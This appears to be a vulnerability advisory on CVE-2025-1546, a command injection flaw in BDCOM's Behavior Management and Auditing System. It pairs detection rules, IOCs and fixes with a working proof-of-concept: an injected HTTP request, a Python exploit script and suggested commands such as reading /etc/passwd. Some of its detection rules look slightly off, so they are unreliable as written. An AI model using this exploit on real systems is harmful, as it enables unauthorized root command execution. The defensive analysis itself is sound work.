CVE-2025-1546

Executive Summary

CVE-2025-1546 is a critical OS command injection vulnerability in BDCOM Behavior Management and Auditing System (versions up to 20250210). The flaw resides in the /webui/modules/log/operate.mds file, specifically in the log_operate_clear function. By manipulating the start_code argument, an unauthenticated remote attacker can execute arbitrary operating system commands on the underlying server. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts. No patch is currently available. This vulnerability poses a severe risk to network integrity and data confidentiality.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the log_operate_clear function within /webui/modules/log/operate.mds. The start_code parameter is passed unsanitized to a system shell command, likely via a function like exec() or system(). An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Root Cause: Lack of input validation and sanitization on the start_code parameter before it is used in a shell command.

Attack Flow:

1. Attacker sends a crafted HTTP request to the vulnerable endpoint.
2. The start_code parameter contains a payload like ;id.
3. The application executes the command, returning the output to the attacker.

Example Payload:

POST /webui/modules/log/operate.mds HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

action=log_operate_clear&start_code=;id

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable snippet
import subprocess

def log_operate_clear(start_code):
    command = "clear_logs " + start_code
    subprocess.call(command, shell=True)

Patched Code (Conceptual):

# Patched snippet
import subprocess
import shlex

def log_operate_clear(start_code):
    # Validate and sanitize input
    if not start_code.isalnum():
        raise ValueError("Invalid start_code")
    command = ["clear_logs", start_code]
    subprocess.call(command, shell=False)

Key Differences:

• Input Validation: Patched code validates that start_code contains only alphanumeric characters.
• Shell=False: Patched code avoids shell interpretation by using a list of arguments.
• No Shell Metacharacters: Patched code prevents injection of shell metacharacters.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running BDCOM Behavior Management and Auditing System (version up to 20250210).
• Network access to the web interface.

Exploit Steps:

1. Identify the vulnerable endpoint: /webui/modules/log/operate.mds.
2. Send a POST request with action=log_operate_clear and a malicious start_code parameter.
3. Execute commands like id, whoami, or cat /etc/passwd.

Example Exploit (Python):

import requests

target = "http://target.com"
payload = ";id"
url = f"{target}/webui/modules/log/operate.mds"
data = {"action": "log_operate_clear", "start_code": payload}
response = requests.post(url, data=data)
print(response.text)

Expected Output:

uid=0(root) gid=0(root) groups=0(root)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP POST requests to /webui/modules/log/operate.mds.
2. Look for suspicious start_code parameters containing shell metacharacters (;, |, &, $, `).
3. Alert on any command execution attempts.

Response Actions:

1. Isolate the affected system immediately.
2. Review logs for signs of compromise.
3. Apply network-level filtering to block malicious requests.
4. Contact vendor for patch (if available) or implement virtual patching via WAF.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /webui/modules/log/operate.mds with action=log_operate_clear.
• start_code parameter containing shell metacharacters or command strings.
• Outbound connections from the BDCOM server to attacker-controlled IPs.

File IOCs:

• Unusual files in /tmp/ or /var/tmp/ created by injected commands.
• Modified system binaries or configuration files.

Log IOCs:

• System logs showing execution of commands like id, whoami, cat /etc/passwd.
• Web server logs showing 200 responses to the vulnerable endpoint with suspicious parameters.

Detection Engineering

YARA Rule

rule CVE_2025_1546_BDCOM_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-1546 in BDCOM Behavior Management and Auditing System"
        author = "Valters IT"
        date = "2025-02-11"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-1546"
    strings:
        $s1 = "log_operate_clear" ascii wide nocase
        $s2 = "start_code" ascii wide nocase
        $s3 = /[;|&`$(){}]/
    condition:
        all of ($s1, $s2) and $s3
}

Sigma Rule

title: CVE-2025-1546 BDCOM Command Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to the vulnerable BDCOM endpoint with shell metacharacters in the start_code parameter.
author: Valters IT
date: 2025-02-11
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/webui/modules/log/operate.mds'
        cs-uri-query|contains: 'action=log_operate_clear'
        cs-uri-query|contains|all:
            - 'start_code='
            - ';'
            - '|'
            - '&'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in start_code (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1546 BDCOM Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/webui/modules/log/operate.mds"; http_uri; content:"action=log_operate_clear"; http_client_body; pcre:"/start_code=[^&]*[;|&`$(){}]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the BDCOM system from the network if possible.
2. Apply WAF rules to block requests containing shell metacharacters in the start_code parameter.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• Vendor Patch: Await official patch from BDCOM. Since vendor is unresponsive, consider migrating to an alternative solution.
• Code Fix: If source code is available, implement input validation and use shell=False in command execution.
• Network Segmentation: Place the BDCOM system behind a firewall with strict access controls.

Workaround:

• Disable the vulnerable endpoint by removing or renaming the operate.mds file (if possible).
• Implement a reverse proxy that filters malicious requests.

Valters IT